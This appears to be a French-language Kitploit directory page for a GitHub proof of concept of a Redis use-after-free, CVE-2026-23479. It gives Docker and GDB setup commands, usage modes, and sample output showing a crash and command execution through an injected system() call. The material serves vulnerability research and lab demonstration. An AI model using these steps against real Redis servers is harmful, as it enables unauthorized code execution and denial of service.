Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement) | Kitploit
Outils/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Analyse des VulnérabilitésExploitationDébogueursApprentissage et ÉducationSécurité des Bases de DonnéesExploitation de BinairesLabs et Pratique
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement)

Voir le dépôt
il y a 17 joursPas encore vérifié

🔥 CVE-2026-23479 – Preuve de concept Redis UAF

License Python Docker CVE PoC

Use-After-Free dans unblockClientOnKey() de Redis conduisant à une exécution de code à distance
Preuve de concept avec exploitation assistée par GDB (usage pédagogique / laboratoire uniquement)


📖 Vue d'ensemble

CVE-2026-23479 est une vulnérabilité critique de type Use‑After‑Free (UAF) dans les versions 7.2.0 à 8.6.2 de Redis.
Le bug se situe dans unblockClientOnKey(), qui appelle processCommandAndResetClient() sans vérifier sa valeur de retour.
Si le client est libéré pendant cet appel (par exemple à cause d'une éviction), l'appelant continue d'opérer sur un pointeur pendant → UAF.
Un attaquant capable de façonner le tas après la libération peut parvenir à une exécution de code arbitraire.

Ce dépôt fournit un PoC assisté par GDB qui :

  • Déclenche le chemin de code vulnérable exact
  • Prouve l'UAF en provoquant délibérément un plantage (appel à freeClient())
  • Démontre une exécution de commande arbitraire en injectant un appel system() au même point

⚠️ Important : il ne s'agit pas d'un exploit armé. GDB est utilisé dans un conteneur Docker privilégié pour simuler ce qu'un véritable attaquant pourrait accomplir après avoir réussi à exploiter l'UAF.
À utiliser uniquement dans votre propre laboratoire ou sur des systèmes pour lesquels vous avez l'autorisation explicite de tester.


✨ Fonctionnalités

  • 🧪 Quatre modes de fonctionnement – crash, gdb, rce, full
  • 🐳 Basé sur Docker – aucune installation d'un Redis vulnérable sur l'hôte requise
  • 🔍 Détection automatique de version – vérifie si la cible est dans la plage affectée
  • 🧹 Auto‑nettoyage – tue les sessions GDB obsolètes avant chaque exécution
  • 🎯 Nom de conteneur flexible – passez n'importe quel conteneur via --container
  • 📦 Fichier Python unique – aucune dépendance au-delà de la bibliothèque standard

🧠 Fonctionnement

  1. Bloquer une victime – une commande XREAD BLOCK fait attendre le client pour des données de flux.
  2. Attacher GDB – GDB s'attache au processus Redis (pid 1) dans le conteneur.
  3. Définir un point d'arrêt sur processCommandAndResetClient – la fonction appelée lorsque le client bloqué est retraité.
  4. Déclencher le déblocage – un XADD sur le même flux réveille la victime.
  5. Sur l'atteinte du point d'arrêt :
    • mode gdb : appelle freeClient($rdi) → provoque délibérément un SIGSEGV → prouve l'UAF.
    • mode rce : appelle system("votre commande") → exécute des commandes shell arbitraires en tant qu'utilisateur Redis (root par défaut).
  6. Vérification – le script vérifie si le fichier de preuve attendu existe (RCE) ou si Redis a planté (UAF).

Le point d'arrêt se déclenche à chaque fois qu'un client bloqué est débloqué, montrant que le même chemin de code qui contient l'UAF permet également l'exécution de code.


📋 Versions affectées

BranchePlage vulnérable
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2

Le script analyse automatiquement la version de Redis et indique si elle est vulnérable.


🐳 Prérequis

  • Docker installé et en cours d'exécution
  • Python 3.8+ (seule la bibliothèque standard est utilisée)
  • Une image Docker Redis 8.6.2 qui utilise apt (par exemple l'image officielle redis:8.6.2)
  • Le conteneur doit être créé avec --privileged (requis pour ptrace)

⚙️ Installation

1. Cloner le dépôt

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Démarrer un conteneur Redis vulnérable

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Installer GDB dans le conteneur

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Vérifier

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # doit retourner PONG

🚀 Utilisation

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modes


Options


📚 Exemples pas à pas

Remarque : toutes les commandes sont exécutées depuis la machine hôte, pas à l'intérieur du conteneur Docker.

1. Prouver l'UAF via GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Sortie attendue (extrait)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis va planter après l'erreur de segmentation.

Redémarrez le conteneur :

root@kitploit:~
docker start redis-vuln-local

2. Obtenir une exécution de code à distance (RCE)

Redémarrez Redis pour garantir un état propre :

root@kitploit:~
docker restart redis-vuln-local

Exécutez l'exploit :

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Vérifiez le fichier de preuve :

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

En cas de succès, le fichier existera, prouvant que :

root@kitploit:~
system("touch /tmp/pwned");

a été exécuté dans le conteneur Redis.


3. Déclencher l'UAF sans GDB (pression mémoire)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Si Redis se termine de manière inattendue (le conteneur n'est plus en cours d'exécution), l'UAF a probablement été déclenché.

Redémarrez-le avec :

root@kitploit:~
docker start redis-vuln-local

4. Exécuter le test complet

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Ce mode :

  1. Tente le plantage par pression mémoire.
  2. Bascule sur la méthode assistée par GDB si Redis survit.

📸 Exemple de sortie (mode RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Modifications par rapport au script d'origine

Le PoC d'origine était codé en dur pour un conteneur nommé env-redis-vuln-1 et contenait plusieurs problèmes lors de l'exécution avec les versions récentes de Python.

La version mise à jour apporte les améliorations suivantes :


🧹 Nettoyage

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives, à la recherche en sécurité autorisée et aux tests de systèmes que vous possédez ou pour lesquels vous avez l'autorisation explicite d'évaluer.

L'auteur n'approuve ni n'encourage toute utilisation non autorisée ou malveillante.

Obtenez toujours une autorisation appropriée avant de tester tout système de production ou de tiers.


📚 Références

  • CVE-2026-23479 – Détail NVD
  • Sécurité Redis
  • Dépôt GitHub Redis

Fait avec ❤️ pour la communauté de la sécurité.

Restez éthique. Restez en sécurité.

Télécharger l’outil
8.6
8.6.0 – 8.6.2
ModeDescription
crashTente de déclencher l'UAF via la pression mémoire (pas besoin de GDB). Redis peut planter, sans garantie.
gdbAttache GDB et appelle freeClient() au point d'arrêt → force un SIGSEGV (prouve l'UAF).
rceAttache GDB et appelle system(cmd) au point d'arrêt → exécute une commande shell dans le conteneur.
fullExécute crash d'abord ; si Redis ne plante pas, bascule sur gdb.
ArgumentDéfautDescription
target(requis)Adresse IP du serveur Redis
-p, --port6379Port Redis
-m, --modefullL'un des modes crash, gdb, rce, full
--containerenv-redis-vuln-1Nom du conteneur Docker
--cmdid > /tmp/pwned_by_cveCommande à exécuter en mode rce
ProblèmeCorrection
Nom de conteneur codé en durAjout de l'argument --container et propagation dans toutes les fonctions.
Commande file placée dans le bloc commands du script GDBDéplacé file /usr/local/bin/redis-server avant attach pour que GDB charge correctement les symboles.
subprocess.run() utilisé avec à la fois capture_output=True et stderr=...Remplacé par stdout=subprocess.DEVNULL et stderr=subprocess.DEVNULL.
Processus GDB obsolètes provoquant ptrace: Operation not permittedAjout de pkill -9 gdb avant le lancement de GDB dans trigger_uaf_gdb() et trigger_rce().
Aucun retour quand GDB échouait silencieusementAjout de journaux de débogage pour la sortie de GDB et amélioration de la détection du fichier de preuve.